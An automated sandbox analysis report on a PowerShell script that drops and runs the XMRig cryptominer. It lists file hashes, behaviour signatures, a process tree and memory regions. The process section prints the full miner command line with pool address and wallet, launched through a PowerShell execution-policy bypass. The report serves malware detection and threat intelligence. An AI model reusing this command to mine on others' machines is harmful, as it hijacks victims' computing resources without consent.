Resubmissions

27-05-2024 18:28

240527-w4c4xsdc7w 10

27-05-2024 18:28

240527-w4c4xsdc7v 10

27-05-2024 18:28

240527-w4cs6aed49 10

27-05-2024 18:28

240527-w4cs6aed48 10

27-05-2024 18:28

240527-w4cs6aed47 10

27-05-2024 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-05-2024 18:28

General

  • Target

    file01 - copia (7).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (7).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3200
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3308

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ofpisoaz.o2b.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    1.2MB

    MD5

    efe5989c2f6f24a6d513f0c485d3c10c

    SHA1

    78c9b963243a5c24c2f09a84c6a8b883116e8d93

    SHA256

    ef3d0a2db6334e1d3169f634f7da915ece007412ec16abb1867a321aae063680

    SHA512

    d2669991e704590c339ccbfe06b1a67d96f3836019d29361095a3d3361106686f65efe98aa2245015fccc748b946b589576c78afa9d38fcab0f636bbfd31e392

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    5.4MB

    MD5

    177315780a5666331df5331dd2fcc6af

    SHA1

    30a8d1f9da56672fe3d9d9244d527639b0c533c5

    SHA256

    c2df3af3b509745774cbc74f3b49263bcdde67b3e0fb97494167710d93b75f74

    SHA512

    3da3ad7542fc6ba1abd66b96acc02b913bba50c6392b78c195e933917ab8815e8721ef5c95884459be7a3c9ba48529c087e31974d5318e9651ba236c633d073d

  • memory/3200-53-0x00007FFC279D3000-0x00007FFC279D5000-memory.dmp

    Filesize

    8KB

  • memory/3200-0-0x00007FFC279D3000-0x00007FFC279D5000-memory.dmp

    Filesize

    8KB

  • memory/3200-54-0x00007FFC279D0000-0x00007FFC28491000-memory.dmp

    Filesize

    10.8MB

  • memory/3200-15-0x00000246F9E80000-0x00000246F9E92000-memory.dmp

    Filesize

    72KB

  • memory/3200-14-0x00007FFC279D0000-0x00007FFC28491000-memory.dmp

    Filesize

    10.8MB

  • memory/3200-11-0x00007FFC279D0000-0x00007FFC28491000-memory.dmp

    Filesize

    10.8MB

  • memory/3200-10-0x00000246F9730000-0x00000246F9752000-memory.dmp

    Filesize

    136KB

  • memory/3200-56-0x00007FFC279D0000-0x00007FFC28491000-memory.dmp

    Filesize

    10.8MB

  • memory/3200-12-0x00007FFC279D0000-0x00007FFC28491000-memory.dmp

    Filesize

    10.8MB

  • memory/3200-16-0x00000246F9E60000-0x00000246F9E6A000-memory.dmp

    Filesize

    40KB

  • memory/3308-48-0x000001DA8EDB0000-0x000001DA8EDD0000-memory.dmp

    Filesize

    128KB

  • memory/3308-59-0x000001DA8F400000-0x000001DA8F420000-memory.dmp

    Filesize

    128KB

  • memory/3308-51-0x000001DA8F420000-0x000001DA8F440000-memory.dmp

    Filesize

    128KB

  • memory/3308-52-0x000001DA8F400000-0x000001DA8F420000-memory.dmp

    Filesize

    128KB

  • memory/3308-69-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-49-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-47-0x000001D9FAD30000-0x000001D9FAD50000-memory.dmp

    Filesize

    128KB

  • memory/3308-57-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-58-0x000001DA8F420000-0x000001DA8F440000-memory.dmp

    Filesize

    128KB

  • memory/3308-50-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-60-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-61-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-62-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-63-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-64-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-65-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-66-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-67-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-68-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB

  • memory/3308-55-0x00007FF7A4BC0000-0x00007FF7A57F3000-memory.dmp

    Filesize

    12.2MB